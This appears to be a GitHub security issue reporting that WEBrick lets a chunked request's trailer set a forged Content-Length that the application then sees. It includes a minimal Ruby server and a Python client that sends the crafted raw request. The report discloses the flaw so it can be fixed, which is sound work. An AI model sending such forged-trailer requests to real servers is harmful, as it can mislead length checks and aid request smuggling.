-
Notifications
You must be signed in to change notification settings - Fork 114
Description
Summary
The latest ruby/webrick still accepts a Content-Length value from chunked request trailers and exposes it as canonical request metadata to the application. A crafted chunked request whose real body is 1 byte but whose trailer says Content-Length: 5 reaches the application with req['content-length'] == "5" and req.meta_vars['CONTENT_LENGTH'] == "5".
This preserves the security-relevant behavior behind CVE-2015-7519: attacker-controlled trailer data is treated as authoritative request length metadata.
Details
I revalidated the latest upstream WEBrick at commit:
78f51cbf3a13c34567cb79df91ce3e5dde1a8ab0
The relevant parser path is still in lib/webrick/httprequest.rb.
Chunked trailers are reparsed into @header:
def read_chunked(socket, block)
...
read_header(socket) # trailer + CRLF
@header.delete("transfer-encoding")
@remaining_size = 0
endAnd application-visible CGI/meta state is derived from that merged header map:
def meta_vars
meta = Hash.new
cl = self["Content-Length"]
meta["CONTENT_LENGTH"] = cl if cl.to_i > 0
...
endSo a trailer-supplied Content-Length is promoted into:
req['content-length']req.meta_vars['CONTENT_LENGTH']
On the live server path, a request with a 1-byte chunked body and trailer Content-Length: 5 produced:
REPORTED_HEADER_CONTENT_LENGTH=5
REPORTED_META_CONTENT_LENGTH=5
REPORTED_BODY_SIZE=1
RESULT=CONFIRMED
repo_head=78f51cbf3a13c34567cb79df91ce3e5dde1a8ab0
Reproduction
- Start a simple
WEBrick::HTTPServerthat returns:req['content-length']req.meta_vars['CONTENT_LENGTH']- actual parsed body size
- Send a raw chunked request with:
- body chunk
a - terminating chunk
0 - trailer
Content-Length: 5
- body chunk
- Observe that the application sees
Content-Length: 5while the actual body size is1.
Minimal server:
require 'json'
require 'webrick'
server = WEBrick::HTTPServer.new(Port: 19080, BindAddress: '127.0.0.1', AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN))
server.mount_proc('/') do |req, res|
req.body
res['Content-Type'] = 'application/json'
res.body = JSON.generate({
content_length_header: req['content-length'],
meta_content_length: req.meta_vars['CONTENT_LENGTH'],
body_size: req.body ? req.body.bytesize : 0
})
end
trap('TERM') { server.shutdown }
trap('INT') { server.shutdown }
server.startMinimal client:
import socket
req = (
b"POST / HTTP/1.1\r\n"
b"Host: 127.0.0.1:19080\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Connection: close\r\n"
b"\r\n"
b"1\r\n"
b"a\r\n"
b"0\r\n"
b"Content-Length: 5\r\n"
b"\r\n"
)
with socket.create_connection(("127.0.0.1", 19080), timeout=5) as sock:
sock.sendall(req)
print(sock.recv(4096).decode(errors="replace"))Expected Behavior
For a chunked request, trailer-supplied Content-Length should not become authoritative request metadata. It should be rejected, ignored, or kept separate from normal request header state.
Observed Behavior
The latest WEBrick reparses the trailer into the main header map and exposes the forged Content-Length through normal application-facing APIs.
Impact
This is a request parsing / metadata trust-boundary issue with request-smuggling implications.
Applications that trust req['content-length'] or req.meta_vars['CONTENT_LENGTH'] can make security-relevant decisions based on attacker-controlled trailer data, even though the actual body length is different.
Please check above the information and fix the code.
Also, let me know if there is anything you need to know when you proceed with the patch.